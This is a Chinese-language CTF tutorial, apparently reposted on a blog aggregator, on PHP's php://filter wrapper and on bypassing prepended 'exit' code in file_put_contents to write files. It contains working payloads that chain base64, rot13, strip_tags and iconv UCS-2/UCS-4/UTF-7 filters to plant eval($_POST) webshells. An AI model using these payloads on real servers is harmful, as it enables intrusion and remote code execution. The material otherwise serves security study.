php://filter

news2024/11/29 10:58:52

一 php://filter

官方:php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter参数
resource=<要过滤的数据流> : 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> :该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> : 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表>    任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

二 过滤器

PHP 过滤器用于对来自非安全来源的数据(比如用户输入)进行验证和过滤。

分成四种过滤器

  • 字符串过滤器
  • 转换过滤器
  • 压缩过滤器
  • 加密过滤器

参考手册 PHP: 可用过滤器列表 - Manual

1.字符串过滤器

  string.rot13

(自 PHP 4.3.0 起)使用此过滤器等同于用 str_rot13()函数处理所有的流数据。

str_rot13 — 对字符串执行 ROT13 转换.
ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。编码和解码都使用相同的函数,传递一个编码过的字符串作为参数,将得到原始字符串。通俗来说就是ASCII码加13

例如:构造payload:  php://filter/read=string.rot13/resource=flag.php

这个是flag.php的内容:

    <?php

    $flag = "{asd3-4vfdt-faklmk0-48ff}";

    ?>

读取后:

    <?cuc

    $synt = "{nfq3-4isqg-snxyzx0-48ss}";

    ?>

想要获取原内容很简单,再rot13编码一次便可以得到flag


string.toupper

使用此过滤器等同于用 strtoupper()函数处理所有的流数据。

(自 PHP 5.0.0 起)使用此过滤器等同于用 strtolower()函数处理所有的流数据。

strtoupper — 将字符串转化为大写

例如,构造payload:  php://filter/read=string.toupper/resource=flag.php

结果

<?PHP

$FLAG = "{ASD3-4VFDT-FAKLMK0-48FF}";

?>

string.tolower

(自 PHP 5.0.0 起)使用此过滤器等同于用 strtolower()函数处理所有的流数据。

strtolower — 将字符串转化为小写

例如,构造payload:   php://filter/read=string.tolower/resource=flag.php

结果:

<?php

$flag = "{asd3-4vfdt-faklmk0-48ff}";

?>

string.strip_tags使用此过滤器等同于用 strip_tags()函数处理所有的流数据。可以用两种格式接收参数:一种是和 strip_tags()函数第二个参数相似的一个包含有标记列表的字符串,一种是一个包含有标记名的数组。strip_tags — 从字符串中去除 HTML 和 PHP 标记.该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。它使用与函数 fgetss() 一样的机制去除标记。



2.转换过滤器

如同 string.* 过滤器,convert.* 过滤器的作用就和其名字一样。转换过滤器是 PHP 5.0.0 添加的。

convert.base64

convert.base64-encode和 convert.base64-decode使用这两个过滤器等同于分别用base64_encode()和base64_decode()函数处理所有的流数据。convert.base64-encode支持以一个关联数组给出的参数。如果给出了line-length,base64 输出将被用line-length个字符为 长度而截成块。如果给出了line-break-chars,每块将被用给出的字符隔开。这些参数的效果和用base64_encode()再加上 chunk_split()相同。

convert.quoted
convert.quoted-printable-encode和convert.quoted-printable-decode使用此过滤器的decode版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和convert.quoted-printable-encode相对应的函数。convert.quoted-printable-encode支持以一个关联数组给出的参数。除了支持和convert.base64-encode一样的附加参数外,convert.quoted-printable-encode还支持布尔参数binary和 force-encode-first。convert.base64-decode只支持line-break-chars参数作为从编码载荷中剥离的类型提示。

convert.iconv.*

在激活 iconv 的前提下可以使用convert.iconv.* 压缩过滤器, 等同于用 iconv() 处理所有的流数据。 该过滤器不支持参数,但可使用输入/输出的编码名称,组成过滤器名称,比如convery.iconv.*的使用有两种方法:

convert.iconv.<input-encoding>.<output-encoding>或者
convert.iconv.<input-encoding>/<output-encoding>
支持的字符编码有这些:

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

3.压缩过滤器

虽然 压缩封装协议 提供了在本地文件系统中 创建 gzip 和 bz2 兼容文件的方法,但不代表可以在网络的流中提供通用压缩的意思, 也不代表可以将一个非压缩的流转换成一个压缩流。对此,压缩过滤器可以在任何时候应用于任何流资源。

注意:
Note: 压缩过滤器 不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。

zlib.* 压缩过滤器自 PHP 版本 5.1.0起可用,在激活 zlib的前提下。也可以通过安装来自 » PECL的 » zlib_filter包作为一个后门在 5.0.x版中使用。此过滤器在 PHP 4 中 不可用。

?file=compress.zlib://flag.php

4.加密过滤器

加密过滤器特别适用于文件/数据流的加密。
mcrypt.*和 mdecrypt.*使用 libmcrypt 提供了对称的加密和解密。这两组过滤器都支持 mcrypt 扩展库中相同的算法,格式为 mcrypt.ciphername,其中 ciphername是密码的名字,将被传递给 mcrypt_module_open()。
手册中介绍了几种参数:



zlib.deflate (压缩)和 zlib.inflate(解压)

bzip2.compress 和 bzip2.decompress

三.exit死亡绕过

主要有三种情形:

file_put_contents($filename , "<?php exit();".$content);

file_put_contents($content,"<?php exit();".$content);

file_put_contents($filename,$content."\nxxxxxxxxx");

思路一般是想要将杂糅或者死亡代码分解掉;这里思路基本上都是利用php伪协议filter,结合编码或者相应的过滤器进行绕过;其原理不外乎是将死亡或者杂糅代码分解成php无法识别的代码;

情况一 .bypass不同变量

<?php
$filename=$_GET['filename'];
$content=$_POST['content'];
file_put_contents($filename,"<?php exit();".$content);
?>

 因为$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了,我们要将content前面的那部分内容使用某种手段(编码等)进行处理,导致php不能识别该部分就可以了。

这里的$_GET[‘filename’]是可以控制协议的.

1.base64绕过

原理:Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。

base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码

当$content被加上了<?php exit; ?>以后,我们可以使用php://filter/write=convert.base64-decode来首先对其解码。在解码的过程中,字符< ? ; >空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有”phpexit”和我们传入的其他字符。

由于,”phpexit”一共7个字符,但是base64算法解码时是4个byte一组,所以可以随便再给他添加一个字符。这样前边的phpexit加上另一个字符就会被base64解码,然后后边的我们精心构造的base64字符串也会被成功解码为php代码。

 构造payload:

?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

2.rot13绕过

str_rot13—对字符串执行ROT13转换. ROT13编码简单地使用字母表中后面第13个字母替换当前字母,同时忽略非字母表中的字符。编码和解码都使用相同的函数,传递一个编码过的字符串作为参数,将得到原始字符串。

利用php://filter中string.rot13过滤器去除”exit”。string.rot13的特性是编码和解码都是自身完成,利用这一特性可以去除exit。 <?php exit;?> 在经过rot13编码后会变成 <?cuc rkvg();?> ,不过这种利用手法的前提是PHP不开启short_open_tag/

构造payload:

?filename=php://filter/write=string.rot13/resource=2.php&content=<?cuc riny($_CBFG[n]);

成功写入文件 2.php

3.string.strip_tags

strip_tags — 从字符串中去除 HTML 和 PHP 标记。该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。它使用与函数 fgetss() 一样的机制去除标记。但为了写入webshell,可以使用多个过滤器进行绕过这个限制(php://filter允许通过使用多个过滤器)。

1、webshell用base64编码   //为了避免strip_tags的影响

2、调用string.strip_tags //这一步将去除<?php exit; ?>

3、调用convert.base64-decode //这一步将还原base64编码的webshell

构造payload:

?filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php&content=?>PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

4.htaccess的预包含利用

参考PHP中auto_prepend_file与auto_append_file用法实例分析_php技巧_脚本之家

如果需要将文件require到所有页面的顶部与底部。

第一种方法:在所有页面的顶部与底部都加入require语句。

require('header.php');
//页面正文内容部分
require('footer.php');

但这种方法如果需要修改顶部或底部require的文件路径,则需要修改所有页面文件。而且需要每个页面都加入require语句

第二种方法:使用auto_prepend_file与auto_append_file在所有页面的顶部与底部require文件

php.ini中有两项:

auto_prepend_file 在页面顶部加载文件
auto_append_file 在页面底部加载文件

使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_fileauto_append_file的值即可。 

修改php.ini,修改auto_prepend_file与auto_append_file的值

auto_prepend_file = "/home/fdipzone/header.php"

auto_append_file = "/home/fdipzone/footer.php"

修改后重启服务器,这样所有页面的顶部与底部都会require /home/fdipzone/header.php 与 /home/fdipzone/footer.php

注意:auto_prepend_file 与 auto_append_file 只能require一个php文件,但这个php文件内可以require多个其他的php文件。

如果不需要所有页面都在顶部或底部require文件,可以指定某一个文件夹内的页面文件才调用auto_prepend_file与auto_append_file
在需要顶部或底部加载文件的文件夹中加入.htaccess文件,内容如下:

php_value auto_prepend_file "/home/fdipzone/header.php"
php_value auto_append_file "/home/fdipzone/footer.php"

这样在指定.htaccess的文件夹内的页面文件才会加载/home/fdipzone/header.php与/home/fdipzone/footer.php,其他页面文件不受影响。

自定义包含我们的flag文件。
 

情况二 bypass相同变量

<?php
$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);

其文件名和文件部分内容一致,这就导致利用的难度大大增加了,不过最终目的还是相同的:都是为了去除文件头部内容exit这个关键代码写入shell后门。也是利用php伪协议filter进行嵌套过滤器进行消除死亡代码,然后进行shell的写入或者读取;不过这种因为是一个变量,所以其限制代码为<?php exit(); 然而我们之前说到的是因为是控制两个变量,在这种情况之下就为<?php exit();?>,两者有本质的区别

1.rot13绕过

因为base64受限于"=",rot13不受限制。

原理就是利用转码从而将原本的死亡代码进行转码从而使引擎无法识别从而避免死亡代码;

 构造payload

content=php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=shell.php

content=php://filter/write=string.rot13/resource=<?cuc cucvasb();?>/../shell.php

生成文件内容:

<?cuc rkvg();cuc://svygre/jevgr=fgevat.ebg13|<?php phpinfo();?>|/erfbhepr=f1zcyr.cuc

2.base64绕过

构造payload

content=php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=shell.php

或

content=php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php

进行拼接之后就是 <?php exit();php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php 然后会对其进行一次整体的 base64-decode 。从而分解掉死亡代码,

但是无法生成content;虽然文件创建成功,但是就是无法生成content。问题在于resource后边的 =;‘=’在base64中的作用是填充,也就是以为着结束;在‘=’的后面是不允许有任何其他字符的否则会报错

去掉等号之过滤器嵌套base64 

content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php

发现可以生成文件,并且可以看到我们已经成功写入了shell;但是文件名确实有问题,当我们在浏览器访问的时候,会出现访问不到的问题,这里是因为引号的问题;那么我们可以使用伪目录的方法,进行变相的绕过去;

payoad:

content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../shell.php

我们将前面的一串base64字符和闭合的符号整体看作一个目录,虽然没有,但是后面重新撤回了原目录,生成shell.php文件;从而就可以生成正常的文件名

去掉等号之直接对内容进行变性另类base64

其实这种也是借助于过滤器,但是原理并不是和之前的原理一样,之前的原理即是:闭合原本的死亡代码,然后在进行过滤器过滤掉内容中的html标签,从而对剩下的内容进行base64解码。但是这种方法却不是如此,payload如下:

php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../shell.php

这种payload的攻击原理即是首先直接在内容时,就将我们base64遇到的‘=’这个问题直接写在<? ?>中进行过滤掉,然后base64-decode再对原本内容的<?php exit();进行转码,从而达到分解死亡代码的效果

 

3.convert.iconv.*

对于iconv字符编码转换进行绕过的手法,其实类似于上面所述的base64编码手段,都是先对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;去除,而我们的恶意代码正常解码存储。

usc-2

usc-2是unicode编码, 它是某国际组织设计的一种文字符号编码表,包括了世界上绝大多数文字和符号,包括中文,每个字符使用2字节编码,因此叫ucs2。

通过UCS-2方式,对目标字符串进行2位一反转(这里的2LE和2BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-2中2的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过

echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[ab]);?>');

payload:

php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSa[]b;)>?/resource=shell.php

成功向 shell.php 写入

?<hp pxeti)(p;ph/:f/liet/rocvnre.tcino.vCU-SL2.ECU-SB2|E<?php @eval($_POST[ab]);?>r/seuocr=ehsle.lhp

usc-4 

通过UCS-4方式,对目标字符串进行4位一反转(这里的4LE和4BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-4中4的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了.

<?php echo iconv("UCS-4LE","UCS-4BE",'<?php @eval($_POST[abcd]);?>');

28字符 <?php @eval($_POST[abcd]);?> 转为 hp?<e@ p(lavOP_$a[TS]dcb>?;)

payload:

content=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$a[TS]dcb>?;)/resource=shell.php

成功写入:

hp?<xe p)(tiphp;f//:etlioc/rrevnci.t.vno-SCU.EL4-SCU|EB4<?php @eval($_POST[abcd]);?>ser/cruohs=e.lle

utf8-utf7

 

这里发现生成的是+AD0-,经过检测,此字符串可以被base64进行解码;那也就意味着我们可以使用这种方法避免等号对我们base64解码的影响;我们可以直接写入base64加密后的payload,然后将其进行utf之间的转换,因为纯字符转换之后还是其本身;所以其不受影响,进而我们的base64-encode之后的编码依然是存在的,然后进行base64-decode一下,写入shell.

Payload:

content=php://filter/write=aaaaXDw/cGhwIEBldmFsKCRfUE9TVFthXSk7ID8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php

// 这里要符合base64 解码按4 字节进行

utf8 -> utf-7

<?php exit();php://filter/write=aaaaXDw/cGhwIEBldmFsKCRfUE9TVFthXSk7ID8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php

变为:

+ADw?php exit()+ADs-php://filter/write+AD0-aaaaXDw/cGhwIEBldmFsKCRfUE9TVFthXSk7ID8+-+AHw-convert.iconv.utf-8.utf-7+AHw-convert.base64-decode/resource+AD0-shell.php

base64恶意payload的之前正好36个字节,所以写入了shell

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/422931.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

黑群晖激活Active Backup for Business套件 DSM6、7

​ 第一步 http://URL:PORT/webapi/auth.cgi?apiSYNO.API.Auth&methodLogin&version1&account管理员用户名&passwd密码 http://192.168.8.160:5000/webapi/auth.cgi? apiSYNO.API.Auth&methodLogin&version1&accountadmin&passwd123456 说…

Spring Boot 监控

目录 1.概述 2.使用 2.1.依赖 2.2.配置 2.2.1.默认 2.2.2.暴露端点 2.3.常用端点 2.3.1.health 2.3.2.metrics 2.3.3.loggers 2.3.4.beans 2.3.5.用于定位线上问题的端点 2.4.自定端点 1.概述 Spring Boot Actuator提供了对Spring Boot应用进行监控的能力&#…

哈希表(HashTable)

哈希表&#xff08;HashTable&#xff09;1. 相关概念2. 哈希函数选择&#xff08;常用&#xff09;3. 哈希冲突&#xff08;常用&#xff09;开散列法/哈希桶法/链地址法&#xff1a;4. Set接口及实现类4.0 常用方法4.1 HashSet4.2 LinkedHashSet4.3 TreeSet4.4 例题1. 相关概…

第八章 Attention

目录8.1 Attention 的结构8.1.1 seq2seq 存在的问题8.1.2 编码器的改进8.1.3 解码器的改进 ①8.1.4 解码器的改进 ②8.1.5 解码器的改进 ③8.2 带 Attention 的 seq2seq 的实现8.2.1 编码器的实现8.2.2 解码器的实现8.2.3 seq2seq 的实现8.3 Attention 的评价8.3.1 日期格式转换…

【数据结构】6.5 红黑树(C++)

【数据结构】——6.5 红黑树 没有学过二叉搜索树&#xff08;也叫二叉排序树或二叉查找树&#xff09;的小伙伴们建议先学习一下&#xff0c;这样阅读会更轻松哦 点我学习二叉搜索树 目录一、红黑树的概念和性质二、红黑树的存储结构和声明三、红黑树的构建过程四、红黑树的实现…

淘宝客户失率高怎么办?什么因素会影响?

电商干货 商家开淘宝店铺的时候&#xff0c;很怕的是老客户流失了。或者说经常购买的人不买了&#xff0c;这是淘宝店铺的客户流失。 那么当我们遇到淘宝的客户流失率很高的时候该怎么办呢&#xff1f;有什么样的因素会造成影响呢? 淘宝客户流失率高怎么办 1、做好质量营销 质…

Trimble RealWorks处理点云数据(七)之点云导入3dmax

效果 背景 有时候我们需要通过点云数据来逆向建模,而建模软件常用的有3dmax,SketchUp等,那如何将点云数据导入3dmax来建模呢,下面我们来了解下 步骤 1、las导入Trimble RealWorks 2、对点云数据预处理 可以参考这篇文章 TrimbleRealWorks点云数据预处理 3、导出rcp格式…

语音芯片在射击游乐设备上的应用

射击打靶体验馆项目&#xff0c;产品设备仿真程度高、趣闻性强、外观逼真&#xff0c;现场体验是一种集体验&#xff0c;体育竞技为一体且室内外均可使用的游乐&#xff01; 在靶上能够看到击中目标的效果&#xff0c;而且会语音报环靶&#xff0c;通过低音炮&#xff0c;可以…

Pytorch基础 - 6. torch.reshape() 和 torch.view()

目录 1. torch.reshape(shape) 和 torch.view(shape)函数用法 2. 当处理的tensor是连续性的(contiguous) 3. 当处理的tensor是非连续性的(contiguous) 4. PyTorch中的contiguous 在本文开始之前&#xff0c;需要了解最基础的Tensor存储方式&#xff0c;具体见 Tensor数据类…

Spring常见面试题汇总

文章目录在Spring中&#xff0c;Bean的作用域有哪几个&#xff1f;SpringMVC的执行流程你知道吗&#xff1f;谈谈你对Spring IOC的理解&#xff1f;DI又是什么&#xff1f;谈谈你对Spring AOP的理解&#xff1f;Spring Bean的生命周期你能说出多少&#xff1f;Spring如何解决循…

sggJava基础第三天

运算符 运算符是一种特殊的符号&#xff0c;用以表示数据的运算、赋值和比较等。 算术运算符 赋值运算符 比较运算符&#xff08;关系运算符&#xff09; 逻辑运算符 位运算符&#xff08;这个几乎不使用&#xff0c;我们在讲解的时候了解一下即可&#xff0c;只不过…

敏捷团队如何在 PingCode 这类敏捷开发工具中管理 Scrum 开发管理流程

在本教程中&#xff0c;我们将在 PingCode 中介绍如何使用 Scrum 项目、创建产品待办列表和规划迭代、举行 Scrum 会议等详细流程。准备工作&#xff1a;已创建 PingCode 软件帐户 【免费注册通道】 什么是Scrum&#xff1f;Scrum 是国内外最热门的敏捷开发框架之一。Scrum 通…

【SpringBoot2】SpringBoot基础篇

SpringBoot基础篇 JC-1.快速上手SpringBoot ​ 学习任意一项技术&#xff0c;首先要知道这个技术的作用是什么&#xff0c;不然学完以后&#xff0c;你都不知道什么时候使用这个技术&#xff0c;也就是技术对应的应用场景。SpringBoot技术由Pivotal团队研发制作&#xff0c;功…

第三章 word2vec

目录3.1 基于推理的方法和神经网络3.1.1 基于计数的方法的问题3.1.2 基于推理的方法的概要3.1.3 神经网络中单词的处理方法3.2 简单的 word2vec3.2.1 CBOW模型的推理3.2.2 CBOW模型的学习3.2.3 word2vec的权重和分布式表示3.3 学习数据的准备3.3.1 上下文和目标词3.3.2 转化为o…

loki采集k8s日志

前言 loki 是轻量、易用的日志聚合系统。如果你的k8s集群规模并不大&#xff0c;推荐使用grafanaloki的方案来做微服务日志的采集&#xff1b; Loki组成 loki架构很简单&#xff0c;主要由3部分组成&#xff1a; loki&#xff1a;服务端&#xff0c;负责存储日志和处理查询&…

行程器,数显卡尺液晶驱动IC,VK1623段码LCD驱动芯片资料分享,封装LQFP100,QFP100,RAM映射48EGx8COM

永嘉微电/VINKA 型号&#xff1a;VK1623 封装形式&#xff1a;LQFP100/QFP100/DICE/COG KPP2609 概述 VK1623S是一个点阵式存储映射的LCD驱动器&#xff0c;可支持最大384点&#xff08;48EGx8COM&#xff09;的LCD屏。单片机可通过3/4线串行接口配置显示参数和发送显示数据…

Spring Cloud微服务网关Zuul的注解@EnableZuulProxy或@EnableZuulServer做了什么事情

一、Zuul的工作原理 Zuul 1.x的版本是由Servlet以及一系列的Filter组成的&#xff0c;各个组件之间协同合作完成功能&#xff0c;且易于扩展。参看官方的架构图我画了张图&#xff1a; Zuul声明周期&#xff1a; HTTP Request -> DispatcherServlet -> ZuulHandlerMappi…

动力节点老杜Vue3视频笔记——Vue程序初体验

目录 一、Vue程序初体验 1.1 下载并安装vue.js 1.2 第一个Vue程序 1.3 Vue的data配置项 1.4 Vue的template配置项 一、Vue程序初体验 可以先不去了解Vue框架的发展历史、Vue框架有什么特点、Vue是谁开发的&#xff0c;对我们编写Vue程序起不到太大的作用&#xff0c;…

代码随想录_二叉树_leetcode654 617

leetcode654 最大二叉树 654. 最大二叉树 给定一个不重复的整数数组 nums 。 最大二叉树 可以用下面的算法从 nums 递归地构建: 创建一个根节点&#xff0c;其值为 nums 中的最大值。递归地在最大值 左边 的 子数组前缀上 构建左子树。递归地在最大值 右边 的 子数组后缀上 …

octave安装使用——吴恩达机器学习

下载octave 解压后双击octave.vbs进行安装 配置 pkg rebuildpkg list 使用基础命令 使用矩阵命令 移动数据 size&#xff1a;矩阵的行和列length&#xff1a;行和列的最大值 读取和存储数据 load&#xff1a;加载文件who&#xff1a;所有变量whos&#xff1a;更详细的变量…